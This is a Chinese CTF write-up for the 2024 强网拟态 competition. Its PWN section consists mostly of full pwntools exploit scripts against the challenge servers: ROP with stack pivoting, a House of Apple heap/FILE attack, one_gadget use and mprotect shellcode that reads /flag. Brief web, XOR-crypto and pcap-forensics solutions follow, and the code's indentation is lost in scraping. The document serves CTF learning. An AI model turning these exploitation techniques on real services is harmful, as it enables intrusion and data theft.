题目下载地址:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81

PWN

signin

伪随机数+栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from ctypes import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 1
if debug:
r = remote("pwn-4a001b90aa.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000401893
heap = 0x4040E0
start = 0x4011B0
c_libc = cdll.LoadLibrary('./libc.so.6')
libc = ELF('./libc.so.6')

def add(index, heapCtx, buf):
r.sendafter(b'>>', p32(0x1))
r.sendafter(b'Index: ', p32(index))
r.sendafter(b'Note: ', heapCtx)
r.send(buf)

def delete(index):
r.sendafter(b'>>', p32(0x2))
r.sendafter(b'Index: ', p32(index))

def auth():
seed = 0
c_libc.srand(seed)

p = b'\x00' * 0x12
r.send(p)

for i in range(100):
num = c_libc.rand() % 100 + 1
r.sendafter(b'code', p64(num))

def show(ptr):
p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(ptr) + p64(puts_plt) + p64(start)
add(0, b'a', p)

auth()
show(puts_got)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']

auth()
add(1, b'a', b'a')
show(heap + 0x8)

r.recvuntil(b'\n')
heap_addr = u64(r.recvuntil('\n')[:-1][-4:].ljust(8, b'\x00'))

auth()
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0] + libc_base
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0] + libc_base
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0] + libc_base
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0] + libc_base
syscall = libc_rop.find_gadget(['syscall','ret'])[0] + libc_base
leave_ret = 0x00000000004013be
ret = 0x000000000040101a
flag = heap_addr + 0x220 + 0x88 + 0x10 + 0x10
code = 0x404e00

orw_rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx) + p64(0) + p64(libc.sym['openat'] + libc_base)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['read'] + libc_base)
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['write'] + libc_base)
orw_rop += b'/flag'.ljust(0x8,b'\x00')

add(1, orw_rop, b'a')

p = b'a' * 0x100 + p64(heap_addr + 0x220 - 0x8) + p64(leave_ret)
add(0, b'a', p)

r.interactive()

signin_revenge

栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote("pwn-9c32d4cdb8.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x0000000000401393
start = 0x4010B0
libc = ELF('./libc.so.6')

p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
r.sendlineafter(b'pwn', p)

libc_base = get_libc() - libc.sym['puts']
environ = libc.sym['environ'] + libc_base

p = b'a' * 0x108 + p64(pop_rdi_ret) + p64(environ) + p64(puts_plt) + p64(start)
r.sendlineafter(b'pwn', p)

stack_addr = get_libc() - 0x3b8

libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0] + libc_base
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0] + libc_base
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0] + libc_base
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0] + libc_base
syscall = libc_rop.find_gadget(['syscall','ret'])[0] + libc_base
leave_ret = 0x00000000004012be
ret = 0x000000000040101a
flag = stack_addr + 0x88 + 0x10 + 0x10
code = 0x404500

orw_rop = p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx) + p64(0) + p64(libc.sym['openat'] + libc_base)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['read'] + libc_base)
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(code) + p64(rdx) + p64(0x100) + p64(libc.sym['write'] + libc_base)
orw_rop += b'/flag'.ljust(0x8,b'\x00')

p = orw_rop.ljust(0x100, b'\x00') + p64(stack_addr - 0x8) + p64(leave_ret)
r.sendlineafter(b'pwn', p)

r.interactive()

QWEN

/proc/self/maps泄露地址之后拿libcogg,远程用pwn2压缩flag直接cat拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
context.terminal = ['tmux','splitw','-h']

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 0
if debug:
r = remote("pwn-c9c758156e.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)

def dbg():
gdb.attach(r)

def game(p):
r.sendline('0 0')
r.sendline('0 1')
r.sendline('0 2')
r.sendline('0 3')
r.sendline('0 4')

r.sendafter('say?', p)
r.sendlineafter('game', 'N')
r.sendline('15 15')

bd = 0x1508
p1 = b'a' * 0x8 + p16(bd)
game(p1)

r.sendlineafter('key', str(0x6b8b4567))
r.sendlineafter(b'logged', b'/proc/self/maps')

for i in range(3):
r.recvuntil(b'\n')
code_base = int(r.recv(12), 16)
start = code_base + 0x9E0
main_addr = code_base + 0x17B3

for i in range(3):
r.recvuntil(b'\n')
libc_base = int(r.recv(12), 16)
libc = ELF('./2.27/libc.so.6')
ogg = 0x10a2fc + libc_base

p1 = p64(main_addr) * 6
game(p1)

p1 = b'\x00' * 0x8 + p64(ogg) + p64(0) * 4
game(p1)

r.interactive()

guest book

直接套large bin hosue of apple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote("pwn-f29b87ed3e.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(index, size):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'index', str(index))
r.sendlineafter(b'size', str(size))

def edit(index, content):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'index', str(index))
r.sendlineafter(b'content', content)

def delete(index):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'index', str(index))

def show(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'index', str(index))

def exit():
r.sendlineafter(b'>', b'5')

add(0, 0x540)
add(1, 0x520)
add(2, 0x530)
delete(0)

libc = ELF('./2.35/libc.so.6')
show(0)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0

add(3, 0x550)
edit(0, b'a' * 0x17)
show(0)
r.recvuntil(b'a' * 0x17 + b'\n')
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290

_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = 0x0000000000114723 + libc_base
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
one_gadget = one[1] + libc_base

delete(2)
p1 = p64(0) + p64(leave_ret) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)

add(4, 0x550)
heap_addr = heap_base + 0x550 + 0x530 + 0x290
setcontext = libc_base + libc.sym['setcontext'] + 61
target_addr = heap_base + 0x550 + 0x530 + 0x290

p2 = b'\x00'
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(one_gadget)
edit(2, p2)

exit()

r.interactive()

ezcode

json构造一次mprotectread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import json

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote("pwn-ff73d874f7.challenge.xctf.org.cn", 9999, ssl=True)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def get_libc():
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

'''
mov ax, 10
shl edi, 12
mov dx, 0x7
syscall
'''
shellcode = b'66 b8 0a 00 c1 e7 0c 66 ba 07 00 0f 05'
'''
cdq
mov esi, edi
xor eax, eax
xor edi, edi
syscall
'''
shellcode += b'99 89 fe 31 c0 31 ff 0f 05 '
shellcode = shellcode.replace(b" ", b"").ljust(0x2b, b'a')
li(hex(len(shellcode)))

data = {
"shellcode": shellcode.decode('utf-8')
}
json_string = json.dumps(data)

r.sendlineafter(b'input', json_string)

shellcode_orw = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
r.sendline(b'\x90'*0xff+asm("shl rsp, 12; add rsp, 0x500;")+shellcode_orw)

r.interactive()

WEB

capoo

file伪协议,file:///start.sh得到flag文件名是flag-33ac806f,再读flag文件,文件内容会以base64的形式写在src

CRYPTO

xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def xor_decrypt(ciphertext_hex, key_hex):
# 将十六进制密文和秘钥转换为二进制形式
ciphertext_bin = bytes.fromhex(ciphertext_hex)
key_bin = bytes.fromhex(key_hex)

# 使用 XOR 进行解密
plaintext_bin = bytes([a ^ b for a, b in zip(ciphertext_bin, key_bin)])

# 将二进制明文转换为字符串
plaintext = plaintext_bin.decode('utf-8')

return plaintext


if __name__ == "__main__":
# 输入十六进制密文和秘钥
ciphertext_hex = "0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914"
#不断重复key的16进制直到flag完整
key_hex = "6d696d69636d696d69636d696d69636d696d69636d696d69636d696d69636d696d69636d696d69636d696d6963"
plaintext = xor_decrypt(ciphertext_hex, key_hex)
print(plaintext)

MISC

ezflag

解压过后会有一个流量包,追踪tcp流会发现有两个大量数据的流,其中一个的开头很像zip的文件头504B0304,尝试将两端数据重新用010改成一个文件,发现是png,改下后缀得到flag